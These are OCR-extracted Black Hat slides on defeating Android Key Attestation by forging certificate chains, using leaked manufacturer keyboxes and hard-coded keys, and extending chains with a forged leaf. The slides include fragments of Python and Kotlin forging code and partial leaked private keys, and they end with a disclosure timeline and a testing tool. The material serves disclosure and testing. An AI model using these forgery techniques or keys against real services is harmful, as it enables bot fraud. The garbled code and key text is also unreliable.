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Background

Targeting a service with a bot fraud/abuse problem

Bot service providers operating in various cloud service providers

Automating API calls to beat out legitimate users

* Implemented app and key attestation

Means to attest traffic sources from a physical device
« Initial disruption but lead to bot TTP shift

Introduction of the 0-day market

 FraudSec campaign objectives

Emulate bot service provider
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Android Key Attestation

App Attestation == Key Attestation
App Attestation (SafetyNet/Play Integrity)

Establishes a mobile apps integrity
«  Signed/Official App Store version
* Rooted device/bootloader checks
*  Hooking/Swizzling checks

+ Calls a Google API to retrieve a verdict (JWT)
Key Attestation

Verifies that a key is stored in secure hardware
*  Ensures keys can’t be extracted from the device (Android Keystore)

*  Calls an Android OS API to retrieve verdict (PKI/X.509 certificates)
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Android Keystore

» Two types of secure storage

Non-Secure Secure

Trusted Execution Environment (TEE)
ELO
User

Utilizes ARM TrustZone

Linux Kernel L',','::Z Trusty Kernel
EL1
Kernel

*  Virtualizes processor to create secure environment

Trusty Dispatcher
Secure Monitor (SMC)

«  Separate OS, kernel driver, userspace lib for IPC

* Secure Element (SE)

¢-------> DataFlow

€——> Control Flow

»  Hardware Security Module (HSM) sty TeE 08 Disgan
»  Separate chip typically connected via serial interface TR . ST
« Two main security protections €0 | A | | Apn | | ep g = 1=
* Prevents key extraction £l Linux kernel § € 0s
«  Cryptographic material never leaves secure hardware - mirain |

+ Key use authorizations

EL3 Monitor

* Keys are scoped to the app and for specific use cases TEEGRIS O Diagram
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Android Key Attestation PKI

 No CA, Google distributes key-pair to
manufacturer ”» o

& e
|@

« Manufacturer injects key-pair into TEE/SE
(keybox)

|@
« Developer utilizes KeyStore API in their M 3 E ERERER
app to create key-pair, fetch certificate '

chain, send certificate chain to their
server for validation

« Ultilize attested key based on ;
implementation (typically signing sensitive
requests)
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Verifying Hardware-Backed Key Pairs

o

 Chain of trust

* Root certificate is signed by Google

Securitylevel ::= ENUNERATED {

Softuare (@)

« Each certificate in chain signed by predecessor =l

AuthorizationList

« Certificate revocation list
+ Extracting attestation extension data
« 0ID1.3.6.1.4.1.11129.2.1.17
» Verifying attestation extension data
«  attestationChallenge (nonce), SecurityLevel, : 2
RootOfTrust, VerifiedBootState ==
+ Ata high level ' SR R

. Validate a X.509 certificate chain

VerifiedBootState ::= ENUMERATED {

. Parse custom OID extension and validate metadata
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Version:
Serial number:
g Algorithm ID:
3+ X.509 certificates wlidry o
[ ]

Root is signed by Google

CN Android Keystore Key
Public Key
I H Algorithm:
. TEE/SE injected key-pair
pub:

 Intermediate certificates

Certificate Signature

«  Contains OIDC certificates issued extension [

Signature:

(1.3.6.1.4.1.11129.2.1.30)

KeyDescriptio

tationVersi

vel=TrustedEnvironment
keymasterVersion=200
. g erSecuritylevel=TrustedEnvironment

° Leaf ce rtrﬁcate T e e
uniqueld
softwareEnforced=AuthorizationLi
creationDateTime=17171
attestationApplicationId=0

«  Corresponding certificate for app key-pair Decoded Leaf Cortilcate

teeEnforced=AuthorizationList:

. Contains OIDC attestation extension A
(1.3.6.1.4.1.11129.2.1.17)

ecCurve=1
noAuthRequired
origin=0
. . root0fTrust=RootOfTr
«  Contains attestationChallenge (nonce)
dev Locked=Tru
At o
verifiedBootHash

vendorPatchLe:
bootPatchLevel

Decoded Attestation Extension
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Previous Public Research

. . TRUSTED
« Obtain access to (extract) keys stored in TEE/SE HERINE N OREP S
APP COMMUNICATION ' |5ip/0EM SYSTEM| | SECURE DRIVERS
— INT {TCFITCE CQNITNERS -
e TEE hacklng PSR%VSEER [\  [TshARED |«—t—»] SYSTEM | | DRIVER |
PROVISIONING | ‘ NN Je—— TA [T TR
AGENT ||  TRUSTED |1 SECURE | == === —
° Samsung TEEGRIS vulns woor || comector | LTEIRY | [ pp] MOLB oy
PROVISIONING |l mosicore i
*  BH 2019: Breaking Samsung's ARM TrustZone e R oo

(MCI)

J (> RUNPHE MANAGEMENT (IRTF‘U

Custom ROM community

i = SHARED |
KINIBI DAEMON | NON- | v
E |
. Flash your own keybox Dmgg EMBEDDBLS) KERNEL MEMORY | LA Bl
l KINIBI MICRO-KERNEL
SHC
. S A : : : b HERE)
° SE hacklng | MONITOR (ATF BL3I) Mo
ATF w £ [
] FORWARD TO CUSTONM TEE-0S HANDLER | DISPATCHER |
° None Q‘ Samsung TrustZone Exploit Chain

. | <?xml version="1.0"7?>
+ Break the PKI trust model (Focus of this research) 2 <wdroidittestations

<Number0fKeyboxes>1</NumberOfKeyboxes>

. . . <Keybox DevicelID ">
. Create keys claiming to be stored in TEE/SE 5 ey algorithe=ecdsa®>
6 <PrivateKey f pem"'>——-BEGIN EC PRIVATE KEY-——
® 7 MHcCAQEEIGQ+NF83whDMnVFvZqS7k5]eUGVd rT8WSmpNGdnj jDF50A0GCCqGSM49
* None w .

AwEHOUQDQQAEKVCTVSRrPpZBQ7TtYYWWH6Z4yHZHYUC7uAL3QR4DANKVLRSR18IM
Haftwd9bpx8BbYjZ06t fNAGKOVf7XGI9gA==
————END EC PRIVATE KEY——-

</PrivateKey>

<CertificateChain>
<NumberOfCertificates>3</NumberOfCertificates>

<Certificate format="pem">-—-—BEGIN CERTIFICATE-——
MIIB8jCCAXmgAWIBAGIQKwoIppxZtILduKIXhv3UOTAKBggghkjOPQQDA]ASMQuw

Leaked Keybox Example
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Bot Fraud/Abuse Use Case

 Userlogs into app

&
* App creates key-pair/attestation cert ”|I:Im

chain
« Sends cert chain to validation server n_. a —_

« Validation server responds with key ID
(pointer to pub key)

* Requests to sensitive APIs are signed
with attested key-pair

HTTP Message Signatures (RFC 9421)
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Common PKI Issues
Certificate Chain Trust

Certificate Revocation List

Hard-coded Certificate
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Certificate Chain Trust

 Chain of trust

* Root certificate is signed by Google

»  Each certificate in chain signed by predecessor E

—)

* Create an insecure EC key pair
Google Root Intermediate Leaf

*  Not stored in TEE/SE
» Create forged X.509 leaf certificate o

« Signed by EC key pair —) —

 Forged OIDC attestation extension

Google Root Intermediate Leaf Forged'Leaf

. Spoofing bootloader status, security level (TEE/SE), etc.

«  Tack custom leaf certificate on the end of legit chain
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509 Certificates

create_private_key():

private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=1024,
backend=default_backend

VerifiedBootStat

namedValues

'Verified

n private_key

create_custom_cert(ca_private_key, nce):
ec_private_key = ec.generate_private_key(
ec.SECP256R1(), default_backend

00t0fTrust(univ. H
componentType = namedtype.NamedTypes(

builder x599.(ert1hcate8u1lder() namedtype.NanedType otKey', univ.OctetString
builder = builder.subject_name(x569.Name( (x589.NameAttribute(NameOID.COMMON_NAME, Androic r namedtype.NamedType d*, univ.Boolean()),
builder = builder.issuer_name(x5089.Name( [x589.NameAttribute(NameOID.COMMON_NAME, oid K ore namedtype.NamedType ( 've E ate', VerifiedBootState()),
builder = builder.public_key(ec_private_key.public_key()) namedtype. OptionalNamedType ‘v thash', univ.0OctetString
builder = builder.serial_number(1)
builder = builder.not_valid_before(datetime.datetime(1970, 1, 1)) Authorizat (u e):
builder = builder.not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days= componentType = namedtype.NamedTypes(
namedtype. OptionalNamedType , univ.Set0f (componentType=univ.Integer()).subtype explicitTag=tag.T
T ST G s T (e, namedtype.OptionalNamedType (‘algorithm’, univ.Integer().subtype(explicitTag=tag.Tag(tag.tagClassCont
v = = X . . . e . namedtype. OptionalNamedType , univ.Integer().subtype(explicitTag=tag.Tag(tag.tagClassCont
builder = builder.add_extension(x589.UnrecognizedExtension(oid=x509.0bjectIdentifier 6.1.4.1. 9 . namedtype. OptionalNamedType('digest*, univ.SetOf(componentType=univ.Integer()).subtype(explicitTa
namedtype. OptionalNamedType ve', univ.Integer().subtype explicitTag=tag.Tag(tag.tagClassCont:
certificate = builder.sign namedtype. OptionalNanedType d', univ.Null().subtype(explicitTag=tag.Tag(tag.tagClassContext
private_key=ca_private_key, name::yp&gp:)onamame:;ype e = umvdng:ger .s\:bty:; ex:lxc;tTﬁ:taE.T?%{tag.t:g(lasi&
namedtype. OptionalNamedType in', univ.Integer().subtype(explicitTag=tag.Tag(tag.tagClassContext, tag
algorithm=hashes.SHA256(), namedtype. OptionaNanedType Trust', RootOfTrust().subtype(explicitTag=tag.Tag(tag.tagClassContext,
backend=default_backend namedtype. OptionalNamedType( ‘o 1', univ.Integer().subtype(explicitTag=tag.Tag(tag.tagClassContex

namedtype. OptionalNamedType , univ.Integer().subtype(explicitTag=tag.Tag(tag.tagClassContex

namedtype. OptionalNanedType stationApplicationId', univ.OctetString().subtypelexplicitTag=tag.Tag(ta

namedtype. OptionalNamedType t erial’, univ.OctetString().subtype(explicitTag=tag.Tag(tag.tag

: namedtype. OptionalNamedType  ‘vendor evel', univ.Integer().subtype(explicitTag=tag.Tag(tag. tagClassCo
converted_certificate namedtype. OptionalNamedType ' bo , univ.Integer().subtype(explicitTag=tag.Tag(tag. tagClassCont
.replace("-

HTTP Request Sending Forged Cert Chain

.replace("-

.replace("\n", riptio q

componentType = namedtype.Nar

namedtype.NamedType 0 ', univ.Integer()),
n converted_certificate, ec_private_key namedtype.NamedType yLeve univ.Enumerated() ),
namedtype.NamedType ('keymaste ion', univ.Integer()),
namedtype.NamedType , univ.Enumerated()),
namedtype.NamedType Challenge', univ.OctetString()),
namedtype. OptionaINamedType , univ.OctetString()),
namedtype.NamedType 's nforced', AuthorizationList()),
namedtype.NamedType ced', AuthorizationList())

create_complete_chain(custom_cert):

create_custom_extension(nonce) :
randon_key = os.urandon(32)
randon_hash = os.urandon(32)

Forge X.509 Certificate w/ Attestation Extension Forge Attestation Extension



blackhat
BRIEFINGS

serialize_and_encode_keys(private_key: ec.EllipticCurvePrivateKey) -> Tuple[st

serialized_private_key = serialize_private_key(private_key)

b64_encoded_private_key = encode_key(serialized_private_key)
b64_encoded_private_key

serialize_public_key(public_key: ec.EllipticCurvePublicKey) ->
return public_key.public_bytes(encoding=serialization.Encoding.DER, format=serialization.PublicFormat.Subject

serialize_private_key(private_key: ec.EllipticCurvePrivateKey) ->

return private_key.private_bytes(
encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.PK(S8,
encryption_algorithm=serialization.NoEncryption()

load_attestation_private_key(private_key: str) -> ec.EllipticCurvePrivateKey:

decoded_private_key = base64.b64decode (private_key)

loaded_private_key = serialization.load_der_private_key(decoded_private_key, password= , backend=default_b
loaded_private_key

HTTP Request Forged and Signed
“retryLimit": 5,

“refreshInterval”
“refreshToken"
“accessToken" e
privateAttestationKey
deviceId": "1
deviceSerial®
keyId": ",
“keyIdExpiration

encode_key(serialized_ke: e s
n base64.b64encode(serialized_key).decode()

sign_request(endpoint: str, key_id: str) -> dict:
nonce = getClientTime()
signature_params 2 -age ) ; start={nonce};nc
message_parts = [
L4 {endpoint}",
USER_AGENT}",
gnature_params}'

HTTP/1.1 208 0K

Server: Server

Date: Wed, 10 Jul 2024 04:25:24 GMT

Content-Type: application/json

Content-Length: @

Connection: keep-alive

Vary: Content-Type,Accept-Encoding,User-Agent
Strict-Transport-Security: max-age=47474747; includeSubDomains; preload

JSON Output With Generated Private Key
message = .join(message_parts)
private_key = load_attestation_private_key(private_key_str)
signature = private_key.sign(message.encode tf-8'),ec.ECDSA(hashes.SHA256
encoded_signature = base64.b64encode(signature).decode( ' utf-8
signature_headers = {

~{signature_params

HTTP Response Forged and Signed Successful
{encoded_signature}:'

r signature_headers

nonce = get_nonce(device_id)

with open("config.json" s configFile:
config = json.load(configFile)
private_key_str = config["pri

print(private_key_str)

key_id = 'AQIC 4

signature_headers = sign_request(

print(signature_headers)

Create and Sign Forged HTTP Request
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Certificate Revocation List

List of revoked certificates
Google maintains their own CRL
CA’s and Android device manufactures
Similar threat model
Big market for leaked keyboxes
TEE 0-days leak Google certs
Firmware leaks
Access to private key off device
No need to reprogram TEE

Mint your own cert chains

—)

¥l

Compromised

Forged
Root Intermediate Leaf

<Keybox DeviceID="NUBIA_NX651J_AK_0080001"><Key algorithm="ecdsa"><PrivateKey format="pem">
AAAAA BEGIN EC PRIVATE KEY-----
MHCCAQEEINe7CZS1S7CE0gACHIZGBIP+6FhVUNTODZgQNUDXtDSOAOBCCESHAY
AWEHOUQDQQAEWCZLU4AL1cB6SRWHKI gGLK3L16FbU3UBZWUA1NB+OWCXWQVYDEBE
HLSIKAGZLUKMIAQQKRa1Yapz+tPSdJamig==

Leaked Nubia Manufacturer Keybox
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Hard-Coded Certificate

« Android 7 and older devices (]

pr—

* No hardware attestation support ~ —

[¥lll)
|
¥l

* Non-Google Play certified devices Hardcoded Forged Forged

Root Intermediate Leaf

«  Manufacturer mints their own root IRIN.=..

0x30, Ox77, 0x02, 6x01, Ox01, 0x04, Ox20,

oxcf, 0x36, 0x3a, Ox50, Oxfc, 0x14, Oxc9, Oxda, xad, Oxf9, 0x35, Oxf5, €x27, 6xc2, exdf, Oxd7,

° AOS P bu iIdS oxle, 0x4d, 0x6d, Oxbc, 0x42, Oxe5, Ox44, Oxad, 0x0a, Ox06, 0x08, Ox2a, Ox86, 0x48, xce, Ox3d,
0x03, 0x01, 0x07, Oxal, 0x44, 0x03, Ox42, 0x00, 0x04, Oxeb, 0x9e, 0x79, Oxf8, 0x42, 0x63, Ox59,

oxac, Oxcb, 0x2a, 0x91, Ox4c, 0x89, Ox86, Oxcc, 0x70, Oxad, 0x90, Ox66, Ox93, 0x82, 0xad, Ox73,

0x26, 0x13, Oxfe, @xac, Oxcb, Oxf8, 0x21, Ox27, x4c, 0x21, ©x74, 0x97, Ox4a, 6x2a, Oxfe, Oxas,

oxbg, oxad, ex7f, 0x66, 0xd4, Oxed, Ox65, 0x10, Ox66, Ox35, Oxbc, 0x53, Oxb7, 0xa0, 6xa3, Oxa6,

® Trusty TEE OS keybOX ox71, 0x58, Ox3e, 6xdb, Ox3e, Ox1l, Oxae, Ox10, x14,

};

static const keymaster_key_blob_t kEcAttestKeyBlob = {

» Access to private key off device

};
Legacy Hardcoded Attestation Private Key

*  Mint your own cert chains

- B[l}If} EC PRIVATE
MHECAQEETCHGRKMG FRmEWCS na fC39ceTW28QuVE0AOGCCq 9
AWEHOUQDQQAE65 lazLKp YbMcK2 0CqXMmE/6sy/ghJ@whd]dKKv6 1

uU1/ZtTgZRBINDXT6C ] pnFYPt
3 END EC PRIVATE KEY-

NumberOfCertificates>

AOSP Trust TEE Keybox
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Certificate Extension PKI Issue (sslstrip)

* BlackHat 2009
New Tricks For Defeating SSL in Practice (moxie@)

+ Browsers weren’t validating Basic Constraints
extension

Intermediate
« Valid leaf certificate could create and sign a leaf |—>
for any domain

| Intermediate

Any valid SSL certificate owner can impersonate any

. Leaf
domain | (blueae:archy

No "Untrusted Site” browser errors

Defeating SSL

X.509 Certificate Chain Extension Issue on SSL PKI
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Basic Constraints (RFC 5280

* Identifies whether subject is CA (can issue child — 3
ce rts) ::;::c::m?gr ' SHA256w1 mscos»\w e
Validity
Not Bgfore: v ? \dd:mm:yyyy hhim
° CA ISZEZrAf(er. 0 5 3 (dd-mm-yyyy hh:mm:
CN Root CA
* Declares maximum depth of valid cert path g et
. SUIC):JEC[Intermediate CA
» pathLenConstraint o =My org

C us
Public Key
Algorithm: EC
Curve Name: ecp256rl
Length:
pub:

CAs MUST NOT include the pathLenConstraint field unless the cA
boolean is asserted and the key usage extension asserts the
keyCertSign bit.

Certificate Signature

Algorithm: SHA256w1i thECDSA
id-ce-basicConstraints OBJECT IDENTIFIER ::= { id-ce 19 } r:
BasicConstraints ::= SEQUENCE { . T TS
cA BOOLEAN DEFAULT FALSE, = TR
pathLenConstraint INTEGER (@..MAX) OPTIONAL } Extensions

basicConstraints CRITICAL:
cA=true, pathLen=0

keyUsage CRITICAL:
keyCertSign,cRLSign

RFC 5280 Basic Constraints Extension

Decoded Key Attestation Intermediate Certificate
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Certificate Extension PKI Issue (Android)

« Extend a legitimate key attestation cert chain

* Forged leaf cert must be embedded with insecure
public key

«  Key pair generated outside of the TEE/SE

+ Sign the forged leaf cert with legitimate leaf cert

. Aside from extension validation, we’d have a valid

(—
chain of trust E —

+ Easy for the browser PKI use case because key-
pairs are accessible

Google Root

* Use PEM file on filesystem to sign forged certificate
* Android we don’t have access to the key material

. Stored in TEE/SE

* Let’s write an Android app ©

Intermediate

—

¥l

Leaf

pr—
—
—
—

N—

Forged'leaf
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fun generatelLeafCertificate(privateKey: PrivateKey): Pair<X589Certificate, KeyPair> {
val keyPairGenerator = KeyPairGenerator.getInstance("EC"
keyPairGenerator.initialize(256
10381 & | val keyPair = keyPairGenerator.generateKeyPair
val issuerName = X5@@Name("CN=App A 2
val serial = BigInteger.valueOf(System.currentTimeMillis() + 1
val notBefore = Date(System.currentTimeMillis() - 10000
" val notAfter = Date(System.currentTimeMillis() + 365 * 24 % 60 * 60 * 1888L
certificate authonty. val certBuilder = JcaX509v3CertificateBuilder
issuerName, serial, notBefore, notAfter, subjectName, keyPair.public

Key Attestation
1.6.0-debug

)
Bootloader is unlocked
This device does not suppart hardware-level key i LR R L

attestation. certBuilder.addExtension(Extension.basicConstraints, , basicConstraints
certBuilder.addExtension(Extension.keyUsage, , KeyUsage(KeyUsage.keyCertSign or KeyUsage.cRLSign
val contentSigner = JcaContentSignerBuilder("SHA2 th ') .build(privateKey)
val certHolder = certBuilder.build(contentSigner
val certConverter = JcaX509CertificateConverter
red Device certConverter.setProvider(BouncyCastleProvider
At val certificate = certConverter.getCertificate(certHolder
Pl return Pair(certificate, keyPair

Certificate chain

Creating Forged Leaf Certificate

not afterAug T
QUGS fun printCertificateChain(certChain: Ar st<Certificate>) {
for (certificate in certChain
val encoded = Base64.getEncoder|().encodeToString(certificate.encoded
T, " BEG 1F W
T, encoded
END

Exfil Certificate Chain and Private Key

printCertificate(cert: X589Certificate) {
val encoded = Base64.getEncoder

Log.d(" R IN CE

Log.d("Y

Log.d("

Keymaster / KeyMint
Version: KeyMint 2.0
S lex

Attestation challefe—————

Key Attestation Debug App

printPrivateKey(cert: PrivateKey) {

val encoded = Base64.getEncoder().encodeToString(cert.encoded
Log.d(" gL
Log.d("Y
Log.d("Y

STDOUT Exfil
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HTTP Request Sending Forged Cert Chain

imgflip.com

HTTP Response Forged Cert Chain Success
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Root Cause Analysis (2024)

To implement key attestation, complete the following steps:
[ ] A d d k tt t t | b e 1.Use a KeyStore object's getCertificateChain() method to get a reference to the chain of X.509
n ro I e a eS a I O n I ra r certificates associated with the hardware-backed keystore.

2. Send the certificates to a separate server that you trust for validation.

@ cCaution: Don't complete the following validation process on the same device as the KeyStore. If the Android
system on that device is compromised, that could cause the validation process to trust something that is

e Released in 2016

3. Obtain a reference to the X.509 certificate chain parsing and validation library that is most appropriate for your
toolset. Verify that the root public certificate is trustworthy and that each certificate signs the next certificate in

« Tagged as a production library

. Check each certificate’s revocation status to ensure that none of the certificates have been revoked.

IS

@

. Optionally, inspect the provisioning information certificate extension that is only present in newer certificate

« Maintained in parity with developer documentation

Obtain a reference to the CBOR parser library that is most appropriate for your toolset. Find the nearest
certificate to the root that contains the provisioning information certificate extension. Use the parser to extract
the provisioning information certificate extension data from that certificate.

See the section about the provisioning information extension data schema for more details.

o

. Obtain a reference to the ASN.1 parser library that is most appropriate for your toolset. Find the nearest
certificate to the root that contains the key attestation certificate extension. If the provisioning information

certificate extension was present, the key attestation certificate extension must be in the immediately

d C a u tl o n a bo ut Ce rtlfl Cate eXte n S | 0 n atta CkS subsequent certificate. Use the parser to extract the key attestation certificate extension data from that

certificate.

o Caution: Do not assume that the key attestation certificate extension is in the leaf certificate of the chain. Only
the first occurrence of the extension in the chain can be trusted. Any further instances of the extension have not
been issued by the secure hardware and might have been issued by an attacker extending the chain while
attempting to create fake attestations for untrusted keys.

The Key Attestation sample [£ uses the ASN.1 parser from Bouncy Castle [ to extract an attestation
certificate's extension data. You can use this sample as a reference for creating your own parser.

See the section about the key attestation extension data schema for more details.

. UNECK e extension adtd tnat you Ve retrieved in te previous Steps 1or Consistency ana compare witn the set

of values that you expect the hardware-backed key to contain.

Android Key Attestation Documentation
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Android Key Attestation Library

() README & Code of conduct &% License &3 Security

Android Key Attestation Library

This library uses the y N.1 parser to extract information from an Android attestation data structure
to verify that a key pair has been generated in a hardware-protected environment of an Android device. It is
maintained in tandem with Android's key attestation capabilities and is meant for production use.

This repository contains a s¢ sample code that shows how to validate an Android attestation certificate chain
outside the Android framework. This is the recommended best practice, since if the Android device is rooted or
otherwise compromised, on-device validation of the attestation may be inaccurate.

The entry point into the [
com.google.android.attestation.ParsedAttestationRecord.createParsedAttestationRecord .

For more details, see the documentation and the guide at
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.getExtensionValue(
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Commit f23e392

.E‘ ek9852 authc d carmenyh committe

Mitigate the certificate chain extension attack.

This changes the extraction of the attestation from the certificate chain.
Instead of unconditionally extracting the attestation in the leaf certificate
(if present), the code now walks up the certificate chain to the root, only
taking into account the last attestation extension it finds (i.e., the one
closest to the root).

This mitigates an attack in which an attacker crafts a new leaf certificate
with a seemingly good attestation and appends it to the certificate chain.

ifyCertificateChain(certs);

ParsedAttestationRecord parsedAttestationRecord = createParsedAttestationRecord(certs(@l]);

ParsedAttestationRecord parsedAttestationRecord = createParsedAttestationRecord(certs

System.out.printin("Attestation version + parsedAttestationRecord.attestationVersion);

System.out.printin(

&
10 +

this.teeEnforced = teeEnforced;

¢ ParsedAttestationRecord createParsedAttestationRecord(X5@9Certificate cert)
tic ParsedAttestationRecord createParsedAttestationRecord(X5@9Certificate[] certs)
s I0Exception {
ASN1Sequence extensionData tractAttestationSequence(cert);

urn new ParsedAttestationRecord(extensionData);

origina
(int i = certs.length - i>»=0; i—) {
byte[] attestationExtensionBytes = certs[i].getExtensionValue(KEY_DESCRIPTION_OID);
if (attestationExtensionBytes != null & attestationExtensionBytes.length != 0) {
turn new ParsedAttestationRecord(extractAttestationSequence(attestationExtensionBytes));

new IllegalArgumentException(“Couldn't find the keystore attestation extension data.");
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" Consider publishing this package to Maven #12
About @ Closed as not planned

Android Key Attestation validation library

eranmes o
&) brandonweeks

From a comment on a pull request:

| don't seem to have the ability to create issues in this repository so am commenting her

Do you mind also publishing this server library into maven central? The current non-Google3 users | can find of it are all just
directly v , which will eventually drift/be stale.

Another (maybe easier?) option that would work for us is bazelizing the com.google.android.attestation package for the
git_repository bazel rule.

If either of these aren't a priority for you, I'm happy to submit a PR doing so.

JesusMcCloud on Apr 24,

lopment
FY!: since we depend on it, we've already 5
Our main motivation was to make it easily configurable and play well in any sort of back-end (be it spring, ktor, whatever). &3 Code with agent mode
We've also taken it upon ourselves to provide € that also integrated iOS attestation.

&3

Packages A € brandonweeks self

ack publish

‘ A brandonweeks
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1 createParsedAtte tionRecord(Li
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onExample { — —
orithmException, Forged Leaf Leaf Intermediate Google Root
Root First Ordering
© O, @ ®
/ containing certificates as an argument."); (— (— (— =
=ER-ER-ER-E

createParsedAttestationRe o ze : GOOgle Root Intermediate Leaf Forged Leaf
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Disclosure Timeline
19 Dec 2016 — Key Attestation library published to GitHub
« 20 Feb 2023 — Security patch for certificate extension attack
* 05 Sep 2024 - Reported insufficient security patch
» 08 Nov 2024 — Google response (Won't Fix), library flagged for deprecation
« 26 Nov 2024 — Updated README.md, not intended for production use
* 10 Apr 2025 — New Key Attestation library published to GitHub
* 11 Jun 2025 - Updated README.md, deprecated use new library
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Black Hat Sound Bytes

Android Key Attestation is in a fragmented state

Well organized and concerted efforts to circumvent key attestation in online communities

Effective mechanism for combatting bot fraud and abuse

Test your own implementations with keyattestor
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» Builds custom X.509 certificate chain
payloads to test Android Key Attestation
implementations

» Certificate Chain Trust
* (Certificate Revocation List
 Hard-coded Certificate

» (Certificate Extension



https://github.com/dubfree/keyattestor
https://github.com/dubfree/keyattestor
https://github.com/dubfree/keyattestor
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MANDALAY BAY / LAS VEGAS

Thank You!

Alex Gonzalez




